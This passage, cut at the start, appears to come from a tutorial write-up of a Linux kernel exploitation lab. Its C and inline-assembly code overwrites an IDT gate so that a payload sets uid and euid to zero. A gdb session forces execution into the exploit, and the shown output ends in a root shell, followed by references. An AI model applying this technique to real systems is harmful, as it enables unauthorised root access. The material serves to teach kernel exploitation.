                "movl $0, 0x04(%rax);"                          /* set  uid */
                "movl $0, 0x14(%rax);"                          /* set euid */
                "popq %rcx;"                                    /* restore Registers */
                "popq %rax;"
        );
	rest();
}

void exploit(){
	struct idtr idtr;
	struct idtd *idtd;
	asm("sidt %0" : "=m" (idtr));
	idtd = (struct idtd *)idtr.base;

	SET_IDT_GATE(idtd[0x7f], (uint64_t)&payload);
	asm("int $0x7f;");
	return;
}

int main() {
	int i;

	save();

	printf("exploit: %llx\n", (uint64_t)&exploit);
	printf("payload: %llx\n", (uint64_t)&payload);

	unsigned long *mem = mmap((void*)0x35000000, 0x10000,
	PROT_READ | PROT_WRITE | PROT_EXEC, 0x32 | MAP_POPULATE | MAP_FIXED | MAP_GROWSDOWN, -1, 0);

	// payload((struct idtd *)idtr.base);
	getuid(); // dummy code for change rip to &exploit

	printf("nooooo...\n");


	return 0;
}

TestVM

1
2
3
test@ubuntu:~/exercises/arbitrary_write$ ./ex3
exploit: 400703
payload: 4006ca

MasterVM

1
2
3
4
5
Breakpoint 6, sys_getuid () at /build/buildd/linux-lts-quantal-3.5.0/kernel/timer.c:1438
1438	{
(gdb) set $rip = 0x400703
(gdb) c
Continuing.

TestVM

1
2
3
4
5
6
test@ubuntu:~/exercises/arbitrary_write$ ./ex3
exploit: 400703
payload: 4006ca
# id
uid=0(root) gid=1001(test) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),111(lpadmin),112(sambashare),1001(test)
#

References

https://www.lazenca.net/pages/viewpage.action?pageId=25624658

https://procdiaru.tistory.com/82

https://kernsec.org/wiki/index.php/Exploit_Methods/Function_pointer_overwrite

https://wiki.osdev.org/Interrupt_Descriptor_Table

https://bromiumlabs.wordpress.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/

https://lugman.org/images/3/3c/Slide-From_local_user_to_root.pdf

This post is licensed under CC BY 4.0 by the author.